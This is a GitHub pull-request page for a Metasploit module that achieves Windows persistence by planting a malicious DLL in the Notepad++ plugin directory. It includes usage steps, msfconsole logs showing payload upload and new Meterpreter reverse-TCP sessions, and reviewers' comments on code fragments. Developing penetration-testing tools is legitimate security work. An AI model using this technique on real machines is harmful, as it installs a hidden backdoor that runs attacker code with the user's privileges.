Skip to content

Conversation

@msutovsky-r7
Copy link
Contributor

@msutovsky-r7 msutovsky-r7 commented Nov 10, 2025

This adds new persistence module for Windows - Notepad++ persistence. Work in progress

Vulnerable Application

This module create persistence by adding a malicious plugin to Notepad++, as it blindly loads and
executes DLL from its plugin directory on startup,meaning that the payload will be executed every time Notepad++ is launched.

The payload will have same privileges as user executing Notepad++.

Verification Steps

  1. Start msfconsole
  2. Get a shell/meterpreter on a windows box
  3. Do: use exploit/windows/persistence/notepad++_persistence
  4. Do: set session #
  5. Do: run
  6. You should get persistence once the targeted application is open and closed.

Options

PAYLOAD_NAME

Name of the payload file. Defaults to <random>.dll

Scenarios

Windows 10

Original shell

[*] Starting persistent handler(s)...
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/meterpreter_reverse_tcp
LHOST => wg0
LPORT => 4242
[*] Started reverse TCP handler on 192.168.3.7:4242
[*] Meterpreter session 1 opened (192.168.3.7:4242 -> 10.5.134.148:49988) at 2025-11-12 16:24:53 +0100

meterpreter > getuid
Server username: WIN10_2004_8D28\Administrator
meterpreter > sysinfo
Computer        : WIN10_2004_8D28
OS              : Windows 10 2004 (10.0 Build 19041).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows

Persistence

msf exploit(multi/handler) > use exploit/windows/persistence/notepadpp_plugin_persistence 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit(windows/persistence/notepadpp_plugin_persistence) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/persistence/notepadpp_plugin_persistence) > set session 1 
session => 1
msf exploit(windows/persistence/notepadpp_plugin_persistence) > run verbose=true 
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

msf exploit(windows/persistence/notepadpp_plugin_persistence) > [*] Started reverse TCP handler on 192.168.3.7:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Notepad++ present and plugin folder is writable
[+] Writing payload to C:\Program Files\Notepad++\plugins\JzHPoxkI\
[*] Payload (9216 bytes) uploaded on WIN10_2004_8D28 to C:\Program Files\Notepad++\plugins\JzHPoxkI\
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/WIN10_2004_8D28_20251112.2704/WIN10_2004_8D28_20251112.2704.rc
[*] Sending stage (230982 bytes) to 10.5.134.148
[*] Meterpreter session 2 opened (192.168.3.7:4444 -> 10.5.134.148:50011) at 2025-11-12 16:27:19 +0100
msf exploit(windows/persistence/notepadpp_plugin_persistence) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                                   Connection
  --  ----  ----                     -----------                                   ----------
  1         meterpreter x64/windows  WIN10_2004_8D28\Administrator @ WIN10_2004_8  192.168.3.7:4242 -> 10.5.134.148:49988 (10.5.
                                     D28                                           134.148)
  2         meterpreter x64/windows  WIN10_2004_8D28\Administrator @ WIN10_2004_8  192.168.3.7:4444 -> 10.5.134.148:50011 (10.5.
                                     D28                                           134.148)

msf exploit(windows/persistence/notepadpp_plugin_persistence) > sessions 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer        : WIN10_2004_8D28
OS              : Windows 10 2004 (10.0 Build 19041).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN10_2004_8D28\Administrator

@github-actions
Copy link

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@msutovsky-r7 msutovsky-r7 changed the title Adds notepad++ persistence for Windows Adds notepad++ persistence module for Windows Nov 10, 2025
@h00die
Copy link
Contributor

h00die commented Nov 10, 2025

This was on my list 😂. Lemme know when it's ready to test and I'll handle it

fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe)

vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")
@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What if payload_pathname contains "?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We have a new API for handling this type of thing, it could be used here https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/base/sessions/windows_escaping.rb#L38

info,
'Name' => 'Notepad++ Plugin Persistence',
'Description' => %q{
This module create persistence by adding malicious plugin to Notepad++. The application does not perform any checks on plugins its loading. The module drops malicious DLL into plugin directory. Upon starting the Notepad++, malicious DLL gets loaded and executed. This creates persistence mechanism as the DLL will get loaded upon every run of application.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
This module create persistence by adding malicious plugin to Notepad++. The application does not perform any checks on plugins its loading. The module drops malicious DLL into plugin directory. Upon starting the Notepad++, malicious DLL gets loaded and executed. This creates persistence mechanism as the DLL will get loaded upon every run of application.
This module create persistence by adding a malicious plugin to Notepad++, as it blindly loads and executes DLL from its plugin directory on startup, meaning that the payload will be executed every time Notepad++ is launched.

@msutovsky-r7 msutovsky-r7 changed the title Adds notepad++ persistence module for Windows WIP: Adds notepad++ persistence module for Windows Nov 12, 2025
@msutovsky-r7 msutovsky-r7 marked this pull request as ready for review November 12, 2025 15:31
@msutovsky-r7 msutovsky-r7 changed the title WIP: Adds notepad++ persistence module for Windows Adds notepad++ persistence module for Windows Nov 12, 2025
return CheckCode::Safe("Unable to write to #{@plugin_dir}") unless writable?(@plugin_dir)
rescue RuntimeError
filename = @plugin_dir + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))
write_file(@plugin_dir, '')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
write_file(@plugin_dir, '')
write_file(filename, '')

Think this may have been a typo

rescue RuntimeError
filename = @plugin_dir + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))
write_file(@plugin_dir, '')
if exists? @plugin_dir
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if exists? @plugin_dir
if exists? filename

similar to the above


fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless session.fs.dir.mkdir(payload_pathname)

fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe)
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + '.dll', payload_exe)

I think payload_pathname already includes payload_name

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah it does, but the module creates plugin subdirectory called payload_name and it creates payload_name.dll inside that new subdirectory


vprint_good("Writing payload to #{payload_pathname}")

fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless session.fs.dir.mkdir(payload_pathname)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

is session.fs compatible with shell sessions?

fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe)

vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")
@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We have a new API for handling this type of thing, it could be used here https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/base/sessions/windows_escaping.rb#L38

@bwatters-r7 bwatters-r7 self-assigned this Nov 17, 2025
@bwatters-r7
Copy link
Contributor

msf exploit(windows/persistence/notepadpp_plugin_persistence) > show options

Module options (exploit/windows/persistence/notepadpp_plugin_persistence):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PAYLOAD_NAME                   no        Name of payload file to write. Random string as default.
   SESSION       2                yes       The session to run this module on


Payload options (windows/x64/meterpreter_reverse_tcp):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   EXITFUNC    process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   EXTENSIONS                   no        Comma-separate list of extensions to load
   EXTINIT                      no        Initialization strings for extensions
   LHOST       10.5.135.201     yes       The listen address (an interface may be specified)
   LPORT       4567             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf exploit(windows/persistence/notepadpp_plugin_persistence) > run
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
msf exploit(windows/persistence/notepadpp_plugin_persistence) > 
[-] Handler failed to bind to 10.5.135.201:4567:-  -
[-] Handler failed to bind to 0.0.0.0:4567:-  -
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Notepad++ present and plugin folder is writable
[+] Writing payload to C:\Program Files\Notepad++\plugins\VSwxDbXbwhvdL\
[*] Payload (267264 bytes) uploaded on WIN10_2004_8D28 to C:\Program Files\Notepad++\plugins\VSwxDbXbwhvdL\
[*] Meterpreter-compatible Cleanup RC file: /home/tmoose/.msf4/logs/persistence/WIN10_2004_8D28_20251118.4351/WIN10_2004_8D28_20251118.4351.rc
[*] Sending stage (188998 bytes) to 10.5.134.134
[*] Meterpreter session 3 opened (10.5.135.201:4567 -> 10.5.134.134:51503) at 2025-11-18 15:44:24 -0600

msf exploit(windows/persistence/notepadpp_plugin_persistence) > sessions -i -1
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer        : WIN10_2004_8D28
OS              : Windows 10 2004 (10.0 Build 19041).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: WIN10_2004_8D28\msfuser
meterpreter > 

end

def install_persistence
@plugin_dir ||= get_plugin_dir
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It would be nice to have a validation check here to make sure that the payload arch matches the notepad++ arch before we go about writing the file to disk.

Copy link
Contributor

@bwatters-r7 bwatters-r7 Nov 18, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Something like

if sysinfo['Architecture'] != payload_instance.arch.first

I think it would be safe to assume the notepad binary would be the same as the host at this point, but to be sure, you could check the binary.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants